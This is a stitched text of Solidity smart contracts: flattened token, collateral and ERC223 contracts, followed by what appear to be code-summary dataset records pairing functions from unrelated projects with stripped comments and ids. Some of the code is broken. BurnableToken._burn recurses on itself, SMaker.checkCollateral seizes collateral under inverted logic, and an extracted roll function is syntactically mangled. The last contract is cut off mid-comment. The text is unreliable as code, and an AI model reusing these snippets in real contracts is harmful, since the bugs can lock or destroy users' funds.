"SignedSafeMath: addition overflow"); return c; } } // File: contracts/tokens/StandardToken.sol pragma solidity 0.5.14; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) private allowed; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param _account The account that will receive the created tokens. * @param _amount The amount that will be created. */ function _mint(address _account, uint256 _amount) internal { require(_account != address(0)); totalSupply_ = totalSupply_.add(_amount); balances[_account] = balances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burn(address _account, uint256 _amount) internal { require(_account != address(0)); require(_amount <= balances[_account]); totalSupply_ = totalSupply_.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal _burn function. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burnFrom(address _account, uint256 _amount) internal { require(_amount <= allowed[_account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } } // File: contracts/tokens/Ownable.sol pragma solidity 0.5.14; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/tokens/MintableToken.sol pragma solidity 0.5.14; /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } // TODO add function to enable/disable minting } // File: contracts/tokens/BurnableToken.sol pragma solidity 0.5.14; /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public returns (bool success) { _burn(msg.sender, _value); return true; } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public returns (bool success) { _burnFrom(_from, _value); return true; } /** * @dev Overrides StandardToken._burn in order for burn and burnFrom to emit * an additional Burn event. */ function _burn(address _who, uint256 _value) internal { _burn(_who, _value); emit Burn(_who, _value); } } // File: contracts/tokens/SToken.sol pragma solidity 0.5.14; contract SToken is MintableToken { // meta data string public constant version = '0.1'; uint public constant decimals = 18; string public symbol; string public name; bool public short; // data uint public price; /** * * @param initialBalance balance (18 decimals) * @param _name name * @param _symbol unique token symbol * @param _short is it a short? */ constructor(uint initialBalance, string memory _symbol, string memory _name, bool _short) public { symbol = _symbol; name = _name; short = _short; _mint(msg.sender, initialBalance); } /** * @dev Burns a specific amount of tokens. * @param _account The address of the token holder * @param _value The amount of token to be burned. */ function burn(address _account, uint _value) public onlyOwner returns (bool success) { _burn(_account, _value); return true; } } // File: contracts/maker/SMaker.sol pragma solidity 0.5.14; contract SMaker is Ownable { using SafeMath for uint; using SafeMath for uint32; using SignedSafeMath for int; string public version = "0.1"; string public symbol; string public name; uint32 public price; uint32 public priceTimestamp; uint32 public constant DECIMALS = 4; uint32 public constant PRICE_DENOMINATOR = 10 ** 4; uint32 public constant COLLATERAL_MARGIN = 20; // % uint32 public constant LIQUIDATION_LEVEL = 10; // % // collateral held by each token holder mapping(address => uint) internal collateral; struct Position { // SUM (entry_price * position_size) int netPosition; uint nbLongTokens; uint nbShortTokens; } mapping(address => Position) internal positions; address public oracle; ERC20 public collateralToken; SToken public longToken; SToken public shortToken; int public totalNetExposure; modifier onlyOracle() { require(msg.sender == oracle); _; } event TokenMinted ( address indexed user, address indexed tokenAddr, string symbol, uint amount ); event TokenBurned ( address indexed user, address indexed tokenAddr, string symbol, uint amount ); event TokensLiquidated ( address indexed owner, address indexed tokenAddr, uint amount ); /** * */ constructor(string memory _symbol, address _collateralToken, address _shortToken, address _longToken, address _oracle) public { collateralToken = ERC20(_collateralToken); shortToken = SToken(_shortToken); longToken = SToken(_longToken); oracle = _oracle; symbol = _symbol; } function setPrice(uint32 _price) external onlyOracle { price = _price; } function setOracle(address _oracle) external onlyOwner { oracle = _oracle; } function getPosition() external view returns (int netPosition, uint nbLongTokens, uint nbShortTokens) { return (positions[msg.sender].netPosition, positions[msg.sender].nbLongTokens, positions[msg.sender].nbShortTokens); } /** * Get current Profit and Loss of an account */ function getPnlOf(address accountOwner) internal view returns (int amount) { Position memory pos = positions[accountOwner]; int pnl = int(price).mul(int(pos.nbLongTokens).sub(int(pos.nbShortTokens)).div(PRICE_DENOMINATOR)).sub(pos.netPosition); return pnl; } function getPnl() public view returns (int amount) { return getPnlOf(msg.sender); } function getCollateral() public view returns (uint amount) { return collateral[msg.sender]; } function getRequiredCollateral() public view returns (uint amount) { return getRequiredCollateralOf(msg.sender, 0, true, COLLATERAL_MARGIN); } function getRequiredCollateralOf(address caller, uint amountToMint, bool long, uint32 margin) internal view returns (uint amount) { // min required collateral int netPosition = positions[caller].netPosition >= 0 ? positions[caller].netPosition : - positions[caller].netPosition; int netExposure; // considering new tokens if (long) { netExposure = netPosition.add(int(price.mul(amountToMint).div(PRICE_DENOMINATOR))); } else { netExposure = netPosition.sub(int(price.mul(amountToMint).div(PRICE_DENOMINATOR))); } // we need abs(netExposure) if (netExposure < 0) { netExposure = - netExposure; } int collateralMargin = netExposure.mul(int(margin)).div(100); // current profit and loss int requiredCollateral = collateralMargin.sub(getPnlOf(caller)); if (requiredCollateral < 0) { return 0; } else { return uint(requiredCollateral); } } function transferCollateral(uint amount) public { transferCollateralFrom(msg.sender, amount); } function transferCollateralFrom(address sender, uint amount) internal { require(collateralToken.transferFrom(sender, address(this), amount), "Failed to transfer collateral"); collateral[sender] = collateral[sender].add(amount); } function redeemCollateral(uint amount) external { address redeemer = msg.sender; uint requiredCollateral = getRequiredCollateralOf(redeemer, 0, true, COLLATERAL_MARGIN); require(collateral[redeemer] >= requiredCollateral.add(amount), "Minimal collateral is required"); require(collateralToken.transfer(redeemer, amount), "Failed to transfer collateral back"); collateral[redeemer] = collateral[redeemer].sub(amount); } /** * A user can mint a synthetic token provided he has deposited collateral */ function mintLongTokens(uint amount) external { address caller = msg.sender; // Transfer collateral into the contract. Assumes caller has approved the transfer of the ERC20 token uint requiredCollateral = getRequiredCollateralOf(caller, amount, true, COLLATERAL_MARGIN); uint availableCollateral = collateral[caller]; if (requiredCollateral > availableCollateral) { uint collateralToTransfer = requiredCollateral.sub(availableCollateral); transferCollateralFrom(caller, collateralToTransfer); } require(longToken.mint(caller, amount), "Failed to mint STokens"); emit TokenMinted(caller, address(longToken), longToken.symbol(), amount); positions[caller].nbLongTokens = positions[caller].nbLongTokens.add(amount); positions[caller].netPosition = positions[caller].netPosition.add(int(amount.mul(price).div(PRICE_DENOMINATOR))); } /** * A user can mint a synthetic token provided he has deposited collateral */ function mintShortTokens(uint amount) external { address caller = msg.sender; // Transfer collateral into the contract. Assumes caller has approved the transfer of the ERC20 token uint requiredCollateral = getRequiredCollateralOf(caller, amount, false, COLLATERAL_MARGIN); uint availableCollateral = collateral[caller]; if (requiredCollateral > availableCollateral) { uint collateralToTransfer = requiredCollateral.sub(availableCollateral); transferCollateralFrom(caller, collateralToTransfer); } require(shortToken.mint(caller, amount), "Failed to mint STokens"); emit TokenMinted(caller, address(shortToken), shortToken.symbol(), amount); positions[caller].nbShortTokens = positions[caller].nbShortTokens.add(amount); positions[caller].netPosition = positions[caller].netPosition.sub(int(amount.mul(price).div(PRICE_DENOMINATOR))); } function burnLongTokens(uint amount) external { address caller = msg.sender; require(longToken.burn(caller, amount), "Failed to burn STokens"); emit TokenBurned(caller, address(longToken), longToken.symbol(), amount); positions[caller].nbLongTokens = positions[caller].nbLongTokens.sub(amount); positions[caller].netPosition = positions[caller].netPosition.sub(int(amount.mul(price).div(PRICE_DENOMINATOR))); } function burnShortTokens(uint amount) external { address caller = msg.sender; require(shortToken.burn(caller, amount), "Failed to burn STokens"); emit TokenBurned(caller, address(shortToken), shortToken.symbol(), amount); positions[caller].nbShortTokens = positions[caller].nbShortTokens.sub(amount); positions[caller].netPosition = positions[caller].netPosition.add(int(amount.mul(price).div(PRICE_DENOMINATOR))); } function checkCollateral(address tokenHolder) public { uint liquidationCollateral = getRequiredCollateralOf(tokenHolder, 0, true, LIQUIDATION_LEVEL); uint col = collateral[tokenHolder]; if (liquidationCollateral < collateral[tokenHolder]) { collateral[tokenHolder] = 0; // bye bye money emit TokensLiquidated(tokenHolder, address(collateralToken), col); } } } // File: contracts/tokens/IERC223.sol pragma solidity ^0.5.14; contract IERC223 { /** * @dev Returns the total supply of the token. */ uint public _totalSupply; /** * @dev Returns the balance of the `who` address. */ function balanceOf(address who) public view returns (uint); /** * @dev Transfers `value` tokens from `msg.sender` to `to` address * and returns `true` on success. */ function transfer(address to, uint value) public returns (bool success); /** * @dev Transfers `value` tokens from `msg.sender` to `to` address with `data` parameter * and returns `true` on success. */ function transfer(address to, uint value, bytes memory data) public returns (bool success); /** * @dev Event that is fired on successful transfer. */ event Transfer(address indexed from, address indexed to, uint value, bytes data); } // File: contracts/tokens/IERC223Recipient.sol pragma solidity ^0.5.1; /** * @title Contract that will work with ERC223 tokens. */ contract IERC223Recipient { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes memory _data) public; } // File: contracts/library/Address.sol pragma solidity ^0.5.14; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } // File: contracts/tokens/ERC223.sol pragma solidity ^0.5.14; /** * @title Reference implementation of the ERC223 standard token. */ contract ERC223Token is IERC223 { using SafeMath for uint; /** * @dev See `IERC223.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } mapping(address => uint) balances; // List of user balances. /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes memory _data) public returns (bool success){ // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(Address.isContract(_to)) { IERC223Recipient receiver = IERC223Recipient(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value, _data); return true; } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) public returns (bool success){ bytes memory empty = hex"00000000"; balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(Address.isContract(_to)) { IERC223Recipient receiver = IERC223Recipient(_to); receiver.tokenFallback(msg.sender, _value, empty); } emit Transfer(msg.sender, _to, _value, empty); return true; } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } // File: contracts/tokens/ERC223Burnable.sol pragma solidity ^0.5.4; /** * @dev Extension of {ERC223} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC223Burnable is ERC223Token { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 _amount) public { require(balanceOf(msg.sender) > _amount); _totalSupply = _totalSupply.sub(_amount); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes memory empty = hex"00000000"; emit Transfer(msg.sender, address(0), _amount, empty); } } // File: contracts/tokens/ERC223Mintable.sol pragma solidity ^0.5.14; /** * @dev Extension of {ERC223} that adds a set of accounts with the {MinterRole}, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. */ contract ERC223Mintable is ERC223Token { event MinterAdded(address indexed account); event MinterRemoved(address indexed account); mapping(address => bool) public _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters[account]; } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters[account] = true; emit MinterAdded(account); } function _removeMinter(address account) internal { _minters[account] = false; emit MinterRemoved(account); } /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { balances[account] = balances[account].add(amount); _totalSupply = _totalSupply.add(amount); bytes memory empty = hex"00000000"; emit Transfer(address(0), account, amount, empty); return true; } } // File: contracts/Migrations.sol pragma solidity 0.5.14; // This is needed by truffle framework contract Migrations { address public owner; // A function with the signature `last_completed_migration()`, returning a uint, is required. uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } constructor() public { owner = msg.sender; } // A function with the signature `setCompleted(uint)` is required. function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }
Burns a specific amount of tokens from the target address and decrements allowance _from address The address which you want to send tokens from _value uint256 The amount of token to be burned/
function burnFrom(address _from, uint256 _value) public returns (bool success) { _burnFrom(_from, _value); return true; }
12,745,725
./full_match/3/0xdd797d1455230Ea962EF03503E1DC1B6cD97F728/sources/item_bm_2.sol
Burns a nft(any) (if it's a PACK, mints 6 cards after burnning.)/ card newIds
function burn(uint256 tokenId, uint256[] memory cardIndexes, string[] memory cardURIs) public { string memory tokenUri = tokenURI(tokenId); _burn(msg.sender, tokenId); uint256[] memory newIds = new uint256[](6); if (_packMap[tokenId]) { _packMap[tokenId] = false; for (uint256 i = 0; i < cardIndexes.length; i++) { if (!_cardMap[cardIndexes[i]]) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _mint(msg.sender, newItemId); _setTokenURI(newItemId, cardURIs[i]); _cardMap[cardIndexes[i]] = true; _cardList.push(cardIndexes[i]); newIds[i] = newItemId; } } } emit NftBurnt(msg.sender, tokenUri, newIds); }
8,116,469
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; //provably fair library used as the prize roller import "./ProvablyFair.sol"; /** * @dev Random prize roller */ library RandomPrize { /** * @dev Pattern to manage prize pool and roll to prize map */ struct PrizePool { ProvablyFair.RollState state; uint256[] prizes; uint256[] rollToPrizeMap; } /** * @dev rolls the dice and assigns the prize */ function roll( PrizePool memory pool, string memory clientSeed, bool saveSeed ) internal view returns(uint256) { // provably fair roller uint256 _roll = ProvablyFair.roll(pool.state, clientSeed, saveSeed); //this is the determined prize uint256 prize; uint256 less; uint256 difference = 0; for (uint8 i = 0; i < pool.rollToPrizeMap.length; i++) { if (i > 0 && pool.rollToPrizeMap[i - 1] > 0) { difference = pool.rollToPrizeMap[i - 1]; } // if the roll value is not zero // and the roll is less than the roll value if (prize == 0 && pool.rollToPrizeMap[i] > 0 && _roll <= pool.rollToPrizeMap[i] ) { //set the respective prize prize = pool.prizes[i]; //get what we need to less less = pool.rollToPrizeMap[i] - difference; //set this now to zero so it can't be rolled for again pool.rollToPrizeMap[i] = 0; //less the max in the state pool.state.max -= less; } //if we have a prize, then we should just less the map range if (prize > 0 && pool.rollToPrizeMap[i] > 0) { pool.rollToPrizeMap[i] -= less; } } return prize; } }
rolls the dice and assigns the prize/ provably fair rollerthis is the determined prizeset the respective prizeget what we need to lessset this now to zero so it can't be rolled for againless the max in the stateif we have a prize, then we should just less the map range
function roll( PrizePool memory pool, string memory clientSeed, bool saveSeed ) internal view returns(uint256) { uint256 _roll = ProvablyFair.roll(pool.state, clientSeed, saveSeed); uint256 prize; uint256 less; uint256 difference = 0; for (uint8 i = 0; i < pool.rollToPrizeMap.length; i++) { if (i > 0 && pool.rollToPrizeMap[i - 1] > 0) { difference = pool.rollToPrizeMap[i - 1]; } && pool.rollToPrizeMap[i] > 0 && _roll <= pool.rollToPrizeMap[i] ) { prize = pool.prizes[i]; less = pool.rollToPrizeMap[i] - difference; pool.rollToPrizeMap[i] = 0; pool.state.max -= less; } if (prize > 0 && pool.rollToPrizeMap[i] > 0) { pool.rollToPrizeMap[i] -= less; } } return prize; }
1,823,961
./full_match/1/0x2c75A27616117C680AD289590D278C8294fCFE9e/sources/contracts/PolygonZkEVM.sol
Allows an aggregator to verify multiple batches pendingStateNum Init pending state, 0 if consolidated state is used initNumBatch Batch which the aggregator starts the verification finalNewBatch Last batch aggregator intends to verify newLocalExitRoot New local exit root once the batch is processed newStateRoot New State root once the batch is processed proof fflonk proof/ Check if the trusted aggregator timeout expired, Note that the sequencedBatches struct must exists for this finalNewBatch, if not newAccInputHash will be 0 Consolidate state Clean pending state if any
function verifyBatches( uint64 pendingStateNum, uint64 initNumBatch, uint64 finalNewBatch, bytes32 newLocalExitRoot, bytes32 newStateRoot, bytes calldata proof ) external ifNotEmergencyState { if ( sequencedBatches[finalNewBatch].sequencedTimestamp + trustedAggregatorTimeout > block.timestamp ) { revert TrustedAggregatorTimeoutNotExpired(); } if (finalNewBatch - initNumBatch > _MAX_VERIFY_BATCHES) { revert ExceedMaxVerifyBatches(); } _verifyAndRewardBatches( pendingStateNum, initNumBatch, finalNewBatch, newLocalExitRoot, newStateRoot, proof ); if (pendingStateTimeout == 0) { lastVerifiedBatch = finalNewBatch; batchNumToStateRoot[finalNewBatch] = newStateRoot; if (lastPendingState > 0) { lastPendingState = 0; lastPendingStateConsolidated = 0; } pendingStateTransitions[lastPendingState] = PendingState({ timestamp: uint64(block.timestamp), lastVerifiedBatch: finalNewBatch, exitRoot: newLocalExitRoot, stateRoot: newStateRoot }); } emit VerifyBatches(finalNewBatch, newStateRoot, msg.sender); }
4,995,523
pragma solidity ^0.5.0; import "../util/Authorizable.sol"; import "../ProxyToken/ProxyToken.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; /** * @title ProxyTokenRequestsStorageV0 */ contract ProxyTokenRequestsStorageV0 is Authorizable { using SafeMath for uint256; enum Status { NEW, FULFILLED, CANCELLED, REJECTED } /** * @notice MintRequest organizes data for requests involving token minting * @param status the status of the request * @param mintID the id of the request * @param addressMap String to address mapping * @param uintMap String to uint256 mapping * @param stringMap String to string mapping */ struct MintRequest { Status status; uint256 mintID; mapping (string => address) addressMap; mapping (string => uint256) uintMap; mapping (string => string) stringMap; } /** * @notice BurnRequest organizes data for requests involving token burning * @param status the status of the request * @param burnID the id of the request * @param addressMap String to address mapping * @param uintMap String to uint256 mapping * @param stringMap String to string mapping */ struct BurnRequest { Status status; uint256 burnID; mapping (string => address) addressMap; mapping (string => uint256) uintMap; mapping (string => string) stringMap; } MintRequest[] public mintRequests; BurnRequest[] public burnRequests; /** * @notice Constructor for the ProxyTokenRequestsStorageV0 * @param owner address of owner */ constructor(address owner) public Authorizable(owner) {} // solium-disable-line no-empty-blocks /** * @dev Runs a function only after checking if the requestId * is a valid burn request * @param requestId Identification for burn request */ modifier onlyValidBurnRequest(uint256 requestId) { require(requestId < burnRequests.length, "Not a valid burn request ID"); _; } /** * @dev Runs a function only after checking if the requestId * is a valid mint request * @param requestId Identification for mint request */ modifier onlyValidMintRequest(uint256 requestId) { require(requestId < mintRequests.length, "Not a valid mint request ID"); _; } /** * @notice Initialize a mint request */ function createMintRequest() public isAuthorized(msg.sender) returns (uint256) { uint256 requestId = mintRequests.length; mintRequests.push(MintRequest(Status.NEW, requestId)); return requestId; } /** * @notice Initialize a burn request */ function createBurnRequest() public isAuthorized(msg.sender) returns (uint256) { uint256 requestId = burnRequests.length; burnRequests.push(BurnRequest(Status.NEW, requestId)); return requestId; } /** * @notice Get the burn requests array length */ function getBurnRequestsLength() public view returns(uint256) { return burnRequests.length; } /** * @notice Get the mint requests array length */ function getMintRequestsLength() public view returns(uint256) { return mintRequests.length; } /** * @notice Return a mintRequest status * @param mintRequestID mintRequestID of mint request */ function getMintRequestStatus( uint256 mintRequestID) public onlyValidMintRequest(mintRequestID) view returns (Status) { MintRequest storage request = mintRequests[mintRequestID]; return request.status; } /** * @notice Return a burnRequest status * @param burnRequestID burnRequestID of burn request */ function getBurnRequestStatus( uint256 burnRequestID) public onlyValidBurnRequest(burnRequestID) view returns (Status) { BurnRequest storage request = burnRequests[burnRequestID]; return request.status; } /** * @notice Get a mintRequest's addressMap value with a specific key * @param mintRequestID mintRequestID of mint request to return * @param key Key value for addressMap */ function getMintRequestAddressMap( uint256 mintRequestID, string memory key) public onlyValidMintRequest(mintRequestID) view returns (address) { MintRequest storage request = mintRequests[mintRequestID]; return request.addressMap[key]; } /** * @notice Get a burnRequest's addressMap value with a specific key * @param burnRequestID burnRequestID of mint request to return * @param key Key value for addressMap */ function getBurnRequestAddressMap( uint256 burnRequestID, string memory key) public onlyValidBurnRequest(burnRequestID) view returns (address) { BurnRequest storage request = burnRequests[burnRequestID]; return request.addressMap[key]; } /** * @notice Get a mintRequest's uintMap value with a specific key * @param mintRequestID mintRequestID of mint request to return * @param key Key value for uintMap */ function getMintRequestUintMap( uint256 mintRequestID, string memory key) public onlyValidMintRequest(mintRequestID) view returns (uint256) { MintRequest storage request = mintRequests[mintRequestID]; return request.uintMap[key]; } /** * @notice Get a burnRequest's uintMap value with a specific key * @param burnRequestID burnRequestID of mint request to return * @param key Key value for uintMap */ function getBurnRequestUintMap( uint256 burnRequestID, string memory key) public onlyValidBurnRequest(burnRequestID) view returns (uint256) { BurnRequest storage request = burnRequests[burnRequestID]; return request.uintMap[key]; } /** * @notice Get a mintRequest's stringMap value with a specific key * @param mintRequestID mintRequestID of mint request to return * @param key Key value for stringMap */ function getMintRequestStringMap( uint256 mintRequestID, string memory key) public onlyValidMintRequest(mintRequestID) view returns (string memory) { MintRequest storage request = mintRequests[mintRequestID]; return request.stringMap[key]; } /** * @notice Get a burnRequest's stringMap value with a specific key * @param burnRequestID burnRequestID of mint request to return * @param key Key value for stringMap */ function getBurnRequestStringMap( uint256 burnRequestID, string memory key) public onlyValidBurnRequest(burnRequestID) view returns (string memory) { BurnRequest storage request = burnRequests[burnRequestID]; return request.stringMap[key]; } /** * @notice Modify a mintRequest status * @param mintRequestID mintRequestID of mint request to modify * @param newStatus New status to be set */ function setMintRequestStatus( uint256 mintRequestID, Status newStatus) public isAuthorized(msg.sender) onlyValidMintRequest(mintRequestID) { MintRequest storage request = mintRequests[mintRequestID]; request.status = newStatus; } /** * @notice Modify a burnRequest status * @param burnRequestID burnRequestID of burn request to modify * @param newStatus New status to be set */ function setBurnRequestStatus( uint256 burnRequestID, Status newStatus) public isAuthorized(msg.sender) onlyValidBurnRequest(burnRequestID) { BurnRequest storage request = burnRequests[burnRequestID]; request.status = newStatus; } /** * @notice Modify a mintRequest's addressMap with a specific key pair * @param mintRequestID mintRequestID of mint request to modify * @param key Key value for addressMap * @param value Value addressMap[key] will be changed to */ function setMintRequestAddressMap( uint256 mintRequestID, string memory key, address value) public isAuthorized(msg.sender) onlyValidMintRequest(mintRequestID) { MintRequest storage request = mintRequests[mintRequestID]; request.addressMap[key] = value; } /** * @notice Modify a burnRequest's addressMap with a specific key pair * @param burnRequestID burnRequestID of burn request to modify * @param key Key value for addressMap * @param value Value addressMap[key] will be changed to */ function setBurnRequestAddressMap( uint256 burnRequestID, string memory key, address value) public isAuthorized(msg.sender) onlyValidBurnRequest(burnRequestID) { BurnRequest storage request = burnRequests[burnRequestID]; request.addressMap[key] = value; } /** * @notice Modify a mintRequest's uintMap with a specific key pair * @param mintRequestID mintRequestID of mint request to modify * @param key Key value for uintMap * @param value Value uintMap[key] will be changed to */ function setMintRequestUintMap( uint256 mintRequestID, string memory key, uint value) public isAuthorized(msg.sender) onlyValidMintRequest(mintRequestID) { MintRequest storage request = mintRequests[mintRequestID]; request.uintMap[key] = value; } /** * @notice Modify a burnRequest's uintMap with a specific key pair * 